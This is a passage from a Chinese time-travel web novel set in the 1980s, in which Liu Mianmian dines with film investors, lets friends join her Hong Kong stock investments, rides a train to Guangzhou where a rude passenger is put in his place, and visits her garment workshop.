只盼着能过上好日子,过上人人都羡慕的好日子。 不过,谢红原先是觉得,能嫁个当营长的就是好日子了,如今才发现真正的好日子根本就是她无法想象的。 刘婶想说绵绵哪止开罐头厂和服装厂,她开的炸鸡店和录像厅还都上了报纸呢,不过她看了谢红一眼,却说:“强子让我们帮你寻摸个工作,如今工作不好找,我早晨去知青菜场,倒是有个相熟的姐妹说他们那边要个人卖菜,你要不要去试试?” 谢红脸色一下变了:“妈,志强说要给我找个国营工厂正式工的工作。” 她虽然刚刚还在心里嫌弃国营工厂效益不好,可怎么说也比卖菜好了千百倍。 “这不一下子安排不上吗,先找个工作混着,回头再好好找个合适的。”刘婶解释说。 其实她倒一点不觉得菜场的工作不好,工作轻松,收入不错,等罐头厂的货出来,还能带着卖卖罐头,这个人家说了是不管的,这就是净赚了,算下来一个月比国营工厂工人收入高多了。 不过年轻人想法不一样,可能觉得卖菜不太好听吧,刘婶倒是也不强求,于是又说:“你要不喜欢也没事,强子工资高,你就先休息一阵子。” 刘婶把豆子壳拢了拢,又说:“你先不工作也好,正好这阵子咱俩一起把春晖路的房子整一整,从强子说要转业回来,我就让人退租了,如今刚好收拾起来给你们住。” “原来那个租户也是一对小夫妻,都是干净人,房子保管得挺不错的,咱们稍微弄一弄,再买些新家具应该就差不多了。” 谢红怔住了:“妈,这里不是住得开吗,我们没必要出去住吧?” 刘婶淡淡看她一眼:“这里可不是咱们家,偶尔借住几宿没关系,一直住着肯定是不行的。” 她也不想刚一来就和儿媳妇闹僵,缓了缓,还是放柔和了,说:“春晖路那边离强子的单位近,他上班也方便,你们小两口自己住,也不用怕我们这些老家伙打扰。” 谢红抿了抿唇,没说话。 柳绵绵靠在石榴树下睡了个回笼觉,睡到身上都被晒到了才醒过来,她回房洗了把脸换了件衣服,跟刘婶说了一声,就推着自行车出门了。 电影的男女主角终于到了,李耀明今天做东,请几个投资人和主创团队吃饭,顺便也是介绍大家认识。 吃饭嘛,本来其实也可以安排在西餐厅,只是这种场合,一桌子人围在一起吃西餐,总感觉怪怪的,所以柳绵绵给李耀明推荐了一家老字号的餐馆。 男女主还是原书里饰演《柳娘与书生》的那两位,不过由于书中世界和柳绵绵上辈子的世界总有些出入,所以这两位据说在港城小有名气的明星柳绵绵并不认识。 虽然不认识,看到俊男美女还是心情非常好。 柳绵绵和男主演秦枫碰了几次杯子,伍衡就忍不住凑过来提醒她:“沈维舟可是去给国家做贡献的,你可不要趁着他不在家犯错误。” 柳绵绵都要被他逗笑了,也压低了声音:“你没发现都是他在给我敬酒吗?” 伍衡:“就算你投的钱比我多一点,好歹我也算是个投资人吧,他怎么不敬我?他这分明是醉翁之意不在酒,柳绵绵同志,坚守底线。” 柳绵绵简直笑死了。 她就说嘛,伍衡这人别看外表搞得狂拽酷炫,其实骨子里可传统了可古板了。 不过,合作伙伴人品正直是件好事。 柳绵绵举起三根手指,表示接下来一定会坚决抵制来自港城的糖衣炮弹。 于是在秦枫再次给她敬酒的时候,她笑着拒绝:“秦先生,你也别尽逮着我一个人敬酒呀。” 秦枫长相斯文,很符合“书生”的形象,笑容温柔地看着柳绵绵,说:“坐在柳小姐旁边,我既荣幸又激动,忍不住就一直给柳小姐敬酒了,柳小姐,你可以随意的。” 柳绵绵笑着说:“初次见面,秦先生太客气了,只是明天就要拍戏,还是悠着点,别回头耽误了。” 秦枫笑了笑,说:“柳小姐说的对,只是我久仰柳小姐大名,所以才忍不住多喝了几杯。” 柳绵绵实在有些惊讶:“秦先生原先听说过我?” 秦枫瞥了眼在座的其他人,视线在李耀明和女主演林淑瑶身上停顿了下,才说:“我和林二小姐私交不错,林二小姐很佩服柳小姐,她说柳小姐的投资眼光,在她认识的人中算是数一数二的。” 柳绵绵恍然大悟。 就说呢,她总觉得秦枫的态度怪怪的,很殷勤,但是又不像是真的对她有意思的样子。 秦枫举了举杯子:“柳小姐,有机会的话,带小弟炒股?” 柳绵绵:“……” 第89章 挣点零花钱问题不大 秦枫这话让在座的人均是一头雾水,要知道内地证券交易起于九十年代,还差好几年呢,很多人甚至都不知道炒股是什么东西。 就说电影厂的导演和演员吧,几人都是面面相觑,不明所以。 倒是伍衡,前些年在广市时曾听人说过,但是他也只是听说港城有交易市场,没真的见识过,倒是也不清楚究竟是怎么回事。 只有李耀明最先反应过来:“柳小姐是委托其他人代炒股票吗,是林二小姐,不对,林家最近事情多,几房太太子女斗得跟乌眼鸡一样,林二小姐哪里有空……南城,南城,啊,该不会是……咳咳,没什么没什么,淑瑶小姐,不好意思,我乱说的啦。” 林淑瑶是林家的旁支,她尴尬笑笑:“林家最近是事情多,不过跟我没关系的啦。” 主家斗得厉害,那是因为林老爷子身体不好,偌大家产分割悬而未决。 这些跟他们这种旁支的小虾米没有一点关系,主家就算斗得再凶,撕得再狠,他们也别想喝一口肉汤的。 林淑瑶更在意的是,李耀明没说出口的那句话。 她是林家旁支,祖籍也是南城,所以港城目前的大家族里哪几家是从南城过去的,她倒是也知道个一二,联系曾看过的一些报道,林淑瑶也有了些猜测。 不过她是聪明人,虽然猜出来了,却不会像秦枫一样咋咋呼呼地说些什么。 秦枫以为自己背靠林二小姐,说话做事都不怎么过脑子,林淑瑶却知道,对林二小姐来说,谈情说爱远远没有事业重要,不然她也不会跑到南城一待就是好几年了。 林二小姐身边没有别的男人,不是她对秦枫情有独钟,是她根本不在意这些。 倒是这位柳小姐,能让徐蕙云帮着持有股票,难道是什么简单的? 也不想想,徐家那些小辈旁支,几个能做到? 果然,李耀明也不是傻的,很快岔开了话题,后面秦枫再说什么,都被他轻轻巧巧地揭过了。 柳绵绵也就只当听不懂,默认秦枫是在开玩笑。 不过听他们谈论,林家的内斗,林二小姐似乎战绩不错。这个秦枫也是挺逗的,就差没把“我和林二小姐关系不一般”写在脸上了。 南城电影厂的几位则是听八卦都快听傻了,时不时地啧啧称奇。港城六九年才实行的一夫一妻制度,如今声名显赫的几大家族,中老年一辈的,哪个不是好几房太太? 但是内地不同,在座的年纪都不算太大,只听家里老人说过,建国前地主们娶好几房太太,并且这是要被批判的封建糟粕。 且不说吃得怎么样,总归今天这一顿饭,是真的长了不少见识。 吃完饭后,李耀明和伍衡一起送柳绵绵回家,只不过柳绵绵和伍衡都是骑自行车过来的,李耀明不会骑车,最后只好大家一起走路。 就着八卦吃饭就是容易吃多,柳绵绵有点吃撑了,推着自行车走一走,正好消消食。而且大晚上的,让李耀明或者伍衡任何一个人送她回家都不合适,三人一起走倒是没什么问题。 李耀明憋了一晚上,这时候再忍不住,问:“柳小姐你是让徐蕙云女士帮你持股吧,你可太厉害了,你不知道,港城的师奶天天打电话到徐氏,请求徐蕙云女士上节目给大家推荐股票,你那几支股票的操作,连董生都说好啦。” 董生是指港城知名经纪董汉生,港城证券界的风云人物,名气非常大,他参加的一档鉴股评股节目,收视率非常的火爆。 李耀明现在更加庆幸,自己慧眼识英,一早就和柳绵绵搭上关系。 不过他其实也非常好奇,柳绵绵人在内地,是怎么做到对港城股市那么了解的。 别说是徐蕙云帮她在炒,徐蕙云要是真有这个本事,之前怎么没见她炒股? 至于请厉害的经纪帮忙炒就更不可能了,那么高的热度,如果真是经纪操盘,哪个经纪能忍住不站出来承认?名利双收的事情啊! 而且,从这些天的接触看,李耀明也觉得柳绵绵不是那种投了资金就不管的人。 “炒股炒的就是预期,市场消息是一方面、对政策和消息的把握也很重要,当然,也需要运气,我大概就是运气还不错的那种吧。”柳绵绵笑道。 她上辈子其实也投了一些钱在股市,成绩也还不错。 李耀明扭捏了一下,问:“那你觉得接下来哪些股票的预期比较好呢?” 柳绵绵迟疑了一下,李耀明马上拉过伍衡:“伍先生,不,兄弟,伍兄弟,有钱大家一起赚啦,只要柳小姐指点指点我们,我们就能在港城股市里所向披靡。” 伍衡扒拉开他的手:“我连户头都没有,还所向披靡。” 他们讲的时候,他也听出来了,这个是需要户头的,而且内地的人去那边很难开户,所以柳绵绵也是请徐家人帮忙持股。 他倒是想挣这个钱,没有户头也没用的。 李耀明马上说:“我,我我我,兄弟,我给你持股啦,咱们一起炒。” 伍衡:“……你帮我持股,我还不如投一点在柳老板那里。” 太多肯定不行的,柳绵绵也是用的别的账户,但是稍微投一点,他相信柳绵绵也不会不答应的。 他俩一起做生意,他对柳绵绵的性格还是有一定了解的,她是个挺大气的人。 而且,据说操作也是请的经纪行的经纪操作,所以其实也不算太麻烦的。 李耀明:“……” 他突然发现自己没户头的好处了,像伍衡这样没户头,就可以直接投到柳绵绵那里,像他这样有户头的,就不好提这个要求了。 柳绵绵看他俩一眼,忍不住失笑,想了想,说:“李生,我介绍我的经纪给你,你交给他操作吧,不过咱们说好了,资金不能太大,你们一人不能超过一百万。” 太多肯定不行,投入资金太多,很容易改变股票的原有轨迹,到时候就不可控了。 何况,还有一年的大好行情呢,现在投一百万进去,到明年也能挣不少了。 李耀明顿时欢天喜地。 伍衡尴尬道:“我手里没那么多钱。” 万元户都要上报纸的年代,他其实已经算很富有了,可眼前这俩人一开口就是一百万,伍衡只能苦笑。 李耀明生怕伍衡投的钱少了,柳绵绵会要求他们一样,马上哥俩好地搂住伍衡:“兄弟,你缺多少,我借你啦!亲兄弟明算账,你给利息就好啦,利息钱我也不要,你到时候给柳小姐。咱们靠柳小姐赚钱,回头肯定要包红包给她的啦!” 柳绵绵看他一眼:“那万一亏了呢?” 李耀明讪讪:“亏了也要包红包的啦。” 看伍衡一副不相信的样子,他马上又说:“我说真的啦,亏了总比被骗了好啦!” 这下柳绵绵和伍衡都忍不住笑了起来。 股票经纪多操作几个账户,或者多操作一些资金并不是什么大问题,既然都帮他们弄了,柳绵绵决定回去再问问其他人,一起再投一点,不说挣多少钱,挣点零花钱应该是问题不大的。 回到家,俞婉和刘婶还在石榴树下乘凉等她,刘婶给她舀了碗绿豆汤,柳绵绵一边喝着一边和她们闲聊。 知道柳绵绵和李耀明他们一起合伙拍电影,刘婶觉得很稀奇,好奇问都有哪些演员,都在哪里拍。 柳绵绵就提了提南城电影厂的几位,刘婶平时就喜欢看戏看演出,倒是对这个人都有些印象,不禁啧啧称叹,柳绵绵看她这么感兴趣,想了想,就问她要不要去当演员。 电影嘛,除了主角配角,肯定也有群众演员的,尤其像刘婶这种中老年群演,其实还挺缺的。 柳绵绵记得自己穿越之前,她那个实际正流行拍短剧,据说年轻男女演员一点都不缺,倒是饰演霸道总裁父母爷奶的中老年演员非常缺。 这年头估计也差不多。 哪怕不缺,她作为投资人,又不是要安排人去抢角色,只是一个群演而已,自然也是没问题的。 刘婶自从开始卖萝卜条后,也算是踏上了职业女性的道路,胆子和魄力都大了不知道多少,听说能做演员,她稍微扭捏了一下,表示怕自己演不好,柳绵绵不过稍稍鼓励了几句,她就马上自信心爆棚了。 而且非常兴奋。 “哦呦,你们说说,我之前都是赶场地去看剧团的演出,现在倒是能自己演出了,这可真是。绵绵你放心,我去了一定好好演,肯定不丢你的脸。”刘婶乐得见牙不见眼。 俞婉感叹道:“你这日子也是越过越丰富了。” 柳绵绵笑道:“其实如果单位能同意的话,妈你也可以去试试的。” 婆婆五官精致漂亮,气质优雅端庄,演个官太太什么的完全没问题。 俞婉连连摆手:“我不行的,回头你爸都得笑我。” 柳绵绵知道俞婉的性格,肯定是不愿意抛头露面的,于是也就再继续说这件事,而是提了提股票的事情。 股票这个事,其实就像赌博,输赢难料的,哪怕她有前世的经验和原书的内容提示,但是也不好说就百分百能赚钱。 再说,之前她从来没炒过股票,哪怕信誓旦旦说自己是股神也没人敢信呀。 但是现在她有了一定的“战绩”,而且也摸透了市场,她自己是更自信了,其他人也更相信她了,这个从李耀明、秦枫想跟着她炒股就能看出来了,柳绵绵觉得反正一只羊也是放一群羊也是赶,倒确实是可以趁机带着大家挣点零花钱。 上辈子她的操作风格就不是激进派,这辈子哪怕有“先知”的条件,她其实也很谨慎的,所以输的概率真的不大。 刘婶差不多就是柳绵绵的脑残粉,听她这么一说,马上表示自己要投一点。 老两口吃住不花钱,平时又非常俭省,这些年是存了不少钱的。尤其刘婶卖萝卜条以后,家里收入大大增加,存款自然也节节攀升。 之前资助了王志远一点,不过王志远喊了战友合伙儿,他自己也有些积蓄,所以也没跟父母要太多,所以老两口手里是有钱的。 王志强结婚可能要花一点,彩礼给个几百,三转一响也得花个几百,然后就是办酒和家具再花一些,花个一千来块钱就非常非常体面了。 刘婶算来算去,最后决定拿出三千。 俞婉其实不在意能不能赚钱,但是儿媳妇既然提出来了,她自然也要响应,想了想,决定拿出七千,和刘婶一起凑个一万块钱。 仨人这边正聊着,客房那边突然响起争吵声,好像是谢红和王志强吵起来了。 俞婉虽然已经是当婆婆的年纪,但是沈维舟和柳绵绵除了刚结婚那天,后面就从没红过脸,所以她还真是没有给小辈劝架的经验,有些尴尬地问刘婶:“要不要去劝劝?” 倒是刘婶心里门清,大致能猜到小两口为什么争吵,哼了一声,说:“别管他们,别说吵起来,就是打起来咱们别管。” 当初强子退伍转业,这个谢红就马上就跟强子分手,后面也不知道怎么好回去的。 刘婶这个年纪,也算是洞庭湖的老麻雀了,之前谢红说的那些话,她哪里听不出来?这就是个眼皮子浅的。 她其实心里都有些埋怨儿子,这些年部队相亲,或者是探亲回家的时候她张罗的相亲也不少了,儿子一个都没有看对眼,她还以为儿子想找个什么样的呢,结果挑来挑去倒是挑了个眼皮子浅的搅家精。 别说这院子是沈家的,哪怕就是王家的,刘婶也不想让小两口住下去了。 没的把家里搞得乌烟瘴气的。 原本刘婶还想着,也是几年没见大儿子了,先让他们在这边住一阵子,现在听着越来越响的吵架声,她决定了,明天就让他们搬走。 “我去说两句。”刘婶站起来,“你们赶紧睡吧,这天儿也不早了。” 说完就雄赳赳气昂昂地往客房的方向走了过去,留下柳绵绵和俞婉面面相觑。 刘婶过去骂了两句,那边果然就消停了,柳绵绵和俞婉于是各回各屋。 就刘婶的态度,柳绵绵猜出来大概是对这个儿媳妇不太满意。 原本她听说对方没有工作,想着看在老两口的面子上,不管是西餐厅、炸鸡店还是录像厅,其实都能安排她先进去干着。 现在闹了这么一出,柳绵绵决定还是先不管了。 第二天王志强和谢红就搬走了,当然,搬走的时候,谢红脸拉得老长,不像是搬去自家的房子,倒像是被人赶出家门似的。 柳绵绵没管这些事,跑去服装店找了蒋红梅,商量好过几天去广市的事情后,又跟她说了股票的事。之后她又给前进乡打了电话,问了余国梁余国栋的意思。最后林林总总的又凑了两万块钱。 她把这钱给了李耀明,跟他兑了港币,由他直接从港城的户头里走。 把股票的事情安排好后,柳绵绵又帮刘婶她们争取了几个群演的机会。 是的,她们。 老姐妹们听说刘婶有演电影的机会,羡慕得不得了,非得求着刘婶帮忙问问能不能再多几个人。群演嘛,有些大场景的戏是很需要的,多几个就多几个呗,难得老太太们这么热爱“艺术”,柳绵绵于是就帮忙多争取了几个名额。 后面几天她又重新理了理西餐厅、炸鸡店和录像厅的工作,确保都没问题以后,就让俞婉帮忙买了几张南下的卧铺票。 几天后,三人在南城火车站碰头了。 第90章 真要忍不住抽人了 三个人里面,余国栋是最兴奋的,他之前都没坐过火车,一上车就东张西望,等到了车厢,更是忍不住“嚯”地一声,脱口而出:“这还能躺着睡觉啊!” 车厢里有人嗤地笑了一声。 柳绵绵看了眼,右边下铺有个颧骨特别高的男人,盘着腿坐在那儿,眼神里“哪儿来的没见识乡下人”的意味都快溢出来了。 他们买的是两个下铺和一个上铺,这人明显坐的还是他们的铺位。 柳绵绵推着余国栋进去,直接冲着那人说:“同志,这下铺是我们的,麻烦您挪挪吧。” 高颧骨明显不太乐意,一点挪动的意思都没有:“这上铺下铺有什么区别,我都坐着了,你们换个地方不就得了。” 蒋红梅这暴脾气,没等柳绵绵开口就怼了过去:“我看你这人长得挺丑想得倒是挺美的啊,什么叫上铺下铺没什么区别,没什么区别你赖在别人的铺位上?赶紧给我起开,不然老娘可不客气了。” 双手一撸,作势就要打人。 高颧骨倒是不怕她个女同志,只是他一个人,对方三个人,而且那个男的虽然瞧着是个乡巴佬土包子,但是长得人高马大的,他绝对是打不过的。 他气得涨红了脸,骂骂咧咧地从铺位上下来,抬腿就去了中铺。 蒋红梅嗤地笑了一声。 还上铺下铺有什么区别,结果既不是上铺也不是下铺,是最憋屈的中铺。 自己铺位位置不好,就想赖在别人的铺位上,什么人啊! 车厢里除了高颧骨男人,另外还有两个年轻姑娘,一个圆脸麻花辫,一个瓜子脸短发,一直默默观察着他们,表情有些尴尬,也有些害怕,尤其是蒋红梅作势要打人的时候,柳绵绵看到其中一个吓得浑身抖了抖。 胆子小也挺好的,至少不会惹事,一路过去要两天一夜呢,要都是高颧骨男人这种,烦也烦死了。 柳绵绵喜欢睡上铺,于是挑了上铺的位置,蒋红梅嫌弃那个被高颧骨男人坐过的铺位有脚臭,挑了另一个下铺的位置,余国栋倒是无所谓,把行李往自己铺位下面一塞,坐了下来。 期间高颧骨男人一直瞪着蒋红梅,显然很生气,不过并没有出声。 明显吵架也吵不过,打架也打不过,他出声不是给自己找麻烦吗? 但是他不敢惹柳绵绵他们,难道还不敢惹那两个小白兔似的小姑娘吗? 他在中铺,圆脸小姑娘在他的上铺,小姑娘坐着动都没动,他却探头出去骂对方:“有没有点自觉的,妈的,在老子头上动什么动……”后面是一连串冲着下三路去的脏话。 圆脸小姑娘小声地说了句“我没有动”,后面就再也没插上话,差点就被他骂哭了。 柳绵绵探头看了眼,她这边中铺的瓜子脸小姑娘和圆脸小姑娘应该是认识的,之前他们争吵的时候,她俩交换了好几次眼神,不过瓜子脸小姑娘就是胆子小到他们吵几句,她都会浑身发抖的那个,自然不敢在这个时候声援同伴,甚至已经抱着膝盖又在发抖了。 “……” 余国栋先看不下去:“一个大老爷们儿,怎么这么欺负人家小姑娘?出门在外不方便,大家互相体谅一点不就行了,何况人家也根本没动。” 蒋红梅翻了个白眼:“也不知道是哪来的疯狗吠个不停,再吵吵,老娘可真要忍不住抽人了。”她撸了撸袖子。 柳绵绵淡淡道:“直接喊乘警过来吧。” 高颧骨男人跟被人掐住脖子的鸭子似的,一下子戛然而止,半晌,才虚张声势地说:“你、你们别仗着人多欺负人啊,就你们会喊乘警吗,我也会喊乘警的。” 蒋红梅讽刺道:“干嘛,把乘警喊来给你逮去劳教一下,治治你这张臭气熏天的嘴?” 高颧骨男人:“你!” 柳绵绵看他一眼,说:“总共就几十个小时,忍忍吧,不然下车的时候鼻青脸肿的也不好看。” 高颧骨男人想说你敢打我吗你来啊,但是对上柳绵绵冷淡的眼神,他莫名觉得眼前这个女人没准真敢。 这人就是典型的欺软怕硬,人家越软他越横,人家越硬他越怂,看了眼冲着他挥了挥拳头的余国栋,他闭嘴了。大概是觉得没面子,过了一会儿,他就从中铺爬起来,拽着个包走了出去。 “德性。” 蒋红梅撇撇嘴,看了眼对面上铺快哭出来的圆脸小姑娘,又探头看了眼中铺的瓜子脸小姑娘,忍不住奇怪问:“你们两个小姑娘,就这么出门,家里人也能放心?” 这条路线她来来回回也挺多趟了,虽说自己一个人也坐过,但是她可不是会吃亏的个性,别人见她泼辣,一般也不会惹她。再说路上她也是很谨慎的,一个人的时候几乎都不怎么睡觉的。 眼前这俩小姑娘却不一样,虽说是两人结伴,但是这两个人结伴和一个人有什么区别,还不如她一个人的时候呢。 这俩人真是别人一欺负一个准,一不小心,被人抢被人骗被人拐都是有可能的。 也不知道什么样的家庭,心这么大,这样的两个人,都敢让她们一起出门。 圆脸小姑娘吸了吸鼻子,不好意思地说:“谢谢你们啊!我也没想到会碰见那么不讲理的人,上车的时候我妈说,只要别和陌生人搭话别相信任何人,安安稳稳待在车厢里就可以,到了广市就有人来接我们了。” 这听上去真的不难。 可没想到,她们不跟别人搭话,别人要找茬骂她们呀。 圆脸小姑娘抿了抿唇,幸好碰见这几位好心的同志,不然她真的不知道该怎么应对了。 蒋陌生人红主动搭话梅:“……” 心说你这还是没听你妈的话啊,不是让你别和陌生人搭话别相信任何人吗,你怎么就一五一十地跟我讲了呢? 不过想来这俩人上车的时候有人送,下车的时候有人接,家里人大概是想着有两个人互相照应着,在火车上应该问题不大。 高颧骨男人出去以后很久都没有回来,直到吃午饭的点,他才回来,然后在工作人员过来卖饭时,大手笔地买了一份红烧肉盖饭,边吃还边用得意的眼神瞟了其他人一眼。 大概的意思就是:你们这些穷人,只能看着我吃吧,哈哈哈。 那两个小姑娘也没有卖饭,而是各自拿出了个饭盒,一人一张满满都是肉的馅饼,吃得满嘴流油。馅饼是油煎的,虽然已经冷了,但是非常香,反正是她们一拿出馅饼,红烧肉的香味就被掩盖掉了。 柳绵绵他们也拿出了饭盒。 东西都是刘婶准备的,一饭盒烤鸭,一饭盒卤煮,还有一饭盒蔬菜,荤素搭配,主食一包白面馒头。 天气热,带多了也放不住,之所以带一点,是因为刘婶觉得火车上的东西不好吃,能少吃一顿算一顿。 罐头厂那边第一批产品已经下线了,这回余国栋就带了一些出来。 肉吃多了,吃点萝卜条或者是腌笋,又解腻又香。 蒋红梅非常喜欢吃腌笋,吃了一口就向余国栋下了订单:“给我整两箱,我给刘安民分一箱,广市的菜口味太淡,他吃不习惯,你们这罐头可算是拯救他了。” 说着又叹息:“之前我就觉得萝卜干好吃,没想到这个腌笋更好吃,绵绵你说说,你这个脑子是怎么长的,怎么就能想到买生产线来做这个罐头呢?” 柳绵绵反问:“既然生产线可以用来做黄桃罐头、蜜橘罐头、荔枝罐头、菠萝罐头,那怎么就不能做萝卜条罐头、腌笋罐头、黄瓜罐头、牛肉罐头、猪肉罐头、鱼罐头呢?” 蒋红梅还没开口,对面上铺先传来一声响亮的吸溜声。 “……” 圆脸小姑娘不好意思地说:“你说的这些罐头听着太好吃了。” 蒋红梅表示赞同:“可不是,这说得我都流口水。” 她拿了两个罐头瓶站起来递给圆脸小姑娘:“你夹点尝尝吧,我们这个罐头确实挺好吃的。” 圆脸小姑娘一脸惊喜:“可、可以吗?” 蒋红梅:“这有什么不可以的。” 圆脸小姑娘马上说了声谢谢,用干净的手帕擦了擦筷子,这才从两个罐头里面各夹了一点点。 蒋红梅看她一眼,抽过她手里的筷子,又往她饭盒里夹了一些,然后又拿着罐头去问瓜子脸小姑娘,这姑娘埋着头都没敢看她,只低低说了声“谢谢”和“不要”,蒋红梅自然也不勉强。 圆脸小姑娘吃了口萝卜条,又吃了口腌笋,双眼亮晶晶地:“哇,真的好吃,特别好吃!” 余国栋乐得咧嘴:“好吃就多吃点,我带了不少出来呢,红梅妹子你再给她分点。” “不不不,不用了。”圆脸小姑娘连连摆手,扭捏了下,问,“你们带了不少的话,不知道,可不可以卖我一两罐?” 余国栋都听愣了:“啊?” 柳绵绵吃好了,她放下筷子,说:“可以,你要哪个口味的?”确实带了挺多罐的,而且如果吃完了,他们完全可以让家里那边再寄的。有客户主动上门,自然没有往外推的道理。 圆脸小姑娘听说可以买,顿时眉开眼笑,不好意思地问:“两种都要可以吗?” 这有什么不可以的。 余国栋也反应过来了,立马拖出塞在床底的行李袋,从里面拿了两瓶出来。 结果圆脸小姑娘又一脸不好意思地问她能不能多买几瓶,余国栋自然也不会拒绝,最后又拿了四瓶出来,一共给了圆脸小姑娘六瓶罐头。 圆脸小姑娘立马就掏了钱,然后她又把其中的两瓶给了瓜子脸小姑娘。 瓜子脸小姑娘也挺有意思的,从圆脸小姑娘那里拿到罐头以后,她立马就加了一个,夹了些放到饭盒里吃了起来。 显然,圆脸小姑娘知道伙伴的性格,买的时候就把她的份儿算进去了。 柳绵绵看得好笑,心说这姑娘不止胆小,怕是还有点社恐。 也不知道这样的两个姑娘,千里迢迢的跑去广市是要干嘛去。 吃饱喝足后柳绵绵和衣睡了一觉,醒来时就听见对面上铺有人在窃窃私语。 看过去才发现瓜子脸小姑娘不知什么时候爬到那边上铺去了,俩人头凑头捧着一本素描册不知道在说什么,脸上表情都很兴奋。 高颧骨男人自从听他们讨论罐头厂以后,就直接缩着尾巴不吭声了。 原本以为是土包子,结果是家里开了罐头厂的,这种人家他肯定是惹不起的,他现在巴不得火车快一点到站。 后面的时间车厢里倒是和谐了起来,到了第二天傍晚,火车缓缓驶入广市火车站,终于到了。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 90-95 第91章 红绵服装厂 南城本身就是个大城市,但是到了广市,余国栋还是被震撼到了。别的且不说,这边人是真的多啊,火车站出口简直密密麻麻的都是人。等到上了出租车,看到宽阔街道上川流不息的车子和人,这种感受就更明显了。 特别是这里的人虽然都行色匆匆,但是身上似乎也总有一种有别于其他城市人的朝气,每个人都劲劲儿的,充满了希望和激情的样子。 “这楼可真高啊!” “路上汽车也好多,那些红的绿的都是出租车啊?” “哎哎哎,那个人,那个是不是外国人,妈呀,这长相跟咱们是真不一样啊!” …… 一个大老爷们儿碎碎念了一路,载他们的“的哥”脾气不错,偶尔地插话回两句。 “红的都是白云汽车公司的,改开以后他们是第一家做出租车公司的,他们做得好,这两年就不少其他的公司跟上来了,车确实是多,不过还是不够,等到广交会的时候更紧张。” “可不是,那就是老外,别说,这几年咱们这儿老外越来越多了,模样千奇百怪的,有的白得吓人的,也有黑得吓人的,你说说,这同样是人,怎么就能差这么多?” …… 柳绵绵他们倒是没怎么插嘴。蒋红梅和刘安民去年刚来的时候也跟余国栋差不多,现在熟悉了,倒是也习惯了。而柳绵绵则是上辈子见的多了,也没什么感觉。 上辈子她也来过广市,公司过来开广交会嘛,每天忙忙碌碌的,想吃个早茶,都得硬挤时间。 余国栋觉得广市繁华,柳绵绵却只觉得眼前的广市和她记忆中的大相径庭,她的记忆中,广市高楼大厦,处处都散发着现代大都市的气息,不像眼前这个城市,还在发展的起步阶段。 不过确实也比其他城市看着要繁华许多了。 新的批发市场已经开业了,他们之前买了五个档口,现在自己留了两个,租了三个出去。 服装厂,其实现在只能算是个服装作坊,也就办在批发厂不远的地方。 跟本地人租的一大栋的房子,总共三层,三楼住人,一二楼就是车间。 其实刘安民在这里待了这么久,最羡慕的还是当地人,一个个家里房子都不是用间来算的,那都是用栋来算的。 就说他们服装厂的房东吧,人家手里一共有五栋楼。像他们这种租来当厂房的倒还好,一次性就把租金付了,据说有三栋楼是租给个人住的,那真是每个月光光收租都得不少工夫。 说是这么说,但如果他有这么多的房子,他恨不得天天奔波在收租的路上。 “这就是咱们红绵服装厂了。”从出租车上下来,刘安民高兴地跟柳绵绵他们介绍。 他是真的高兴,一年多前他还为每天的生计发愁呢,一年多后,他已经是服装厂的副厂长了,不但如此,他还入股了批发档口和服装店,身家早已超过了报纸上的那些万元户。 有时候夜里躺在床上想想,他都不敢相信这是真的。 柳绵绵打量了一下服装厂,总体来说还是有些简陋的,但是这个时代广市的一些小加工厂差不多都是这样。 这时候也不分什么工业区居民区,这些小加工厂就办在居民区里,跟周边的居民楼混在了一起。她刚刚还看到旁边有个拎着菜篮子的大妈进了隔壁的楼呢。 不过她其实也有点好奇:“咱们虽然不像那种有大型机器的厂子那么吵,可那么多缝纫机踩着,也挺响的,旁边的住户没意见吗?” 刘安民领着他们往里走:“嗐,这一片都是出租房,吵是吵一点,但是这边加工厂多,所以租金也便宜。” 只是忍受点噪音而已就能省下不少租金,换了他他也乐意啊。 好吧。 柳绵绵难得有点羡慕嫉妒地想,自己倒是忘记了,广市别的不多,就是包租婆包租公最多,这些人估计自己都住在另外的地方,这一片反正都是用来出租,甭管怎么造,都影响不到他们。 参观了厂子,柳绵绵和余国栋就又拎着行李出来了。 刘安民帮着在附近的宾馆预订了房间,余国栋其实是觉得没必要花这个钱,他在服装厂里随便找个地方窝一下就行了。不过柳绵绵要住宾馆,他肯定得陪着,人生地不熟的,没准就有危险。 晚饭是在附近一家本地口味的饭店吃的,广式茶点非常地道,柳绵绵从穿越到这个时代就再没吃过这一口,毫不意外地吃撑了。 这年代广市的治安不太好,他们也没敢出门,吃完饭就回了宾馆。连日奔波柳绵绵也挺累了,在宾馆前台跟沈维舟通了个电话,就回房间睡了。 第二天早晨起来,柳绵绵刚出房间,就意外遇见了之前火车上认识的圆脸小姑娘方芸芸和瓜子脸姑娘王倩。 方芸芸一脸惊喜:“绵绵姐,原来你也住这个宾馆啊?” 王倩也冲柳绵绵笑了笑。 柳绵绵笑道:“对啊,这可真是巧了。” 方芸芸主动邀请柳绵绵一起吃早餐,柳绵绵去敲了余国栋的门,然后四人一起结伴出去。 经过之前两天一夜的相处,柳绵绵倒是对她们有了一些了解。 方芸芸的哥哥厨艺不错,改开之后从老家跑过来,跟人合伙卖盒饭,生意挺不错的。方芸芸中专刚毕业,在老家倒是分配了工作,不过她之前跟着哥哥来过广市,不太想留在老家,想来广市找工作。 王倩跟方芸芸是同班同学,她倒是没怎么说自己的情况,但是柳绵绵猜到了几分。 她的性格,应该是环境造成的,可能跟家里关系不太好,甚至可能这一次她是瞒着家里跑出来的。 因为她有时候走在路上,总会下意识往后看,好像生怕后面有人追上来似的。 这附近厂子多,方芸芸的哥哥就是在附近卖盒饭,所以他们能在这里碰上,倒也不是完全碰巧。 不过,说到巧,还有更巧的事情。 据方芸芸的说法,她们过来之前,其实她哥哥已经帮她们找好了厂子,就是离宾馆不远的顶好服装厂。 然后昨天下午他们过去的时候,居然碰见了火车上的那个高颧骨男人,那人竟然是服装厂车间主任的侄子,过来当小管理的,最恶心的是,厂里给他们安排的还是同一间办公室。 当场她们就打了退堂鼓。 尤其是看到男人那一脸得意又猥琐的表情后。 火车上面对陌生人他都能那样肆无忌惮,她们跟他一个办公室,而他还有亲戚在厂里当领导的情况下,不用想也知道,这人只会更恶劣。 俩人倒是也聪明,并没有直接就说不干,只是找了个借口,说她哥那边缺人,她们得先过去帮忙顶几天,等那边结束了再过来上工。 这边厂子虽然多,但是找工作的人也多,工作也不是那么好找的,所以厂子那边倒是不怕她们反悔,当场就同意了。 方芸芸和王倩打算自己先到处找找工作,实在不行,就真的先去给她哥打工,帮着卖卖盒饭。 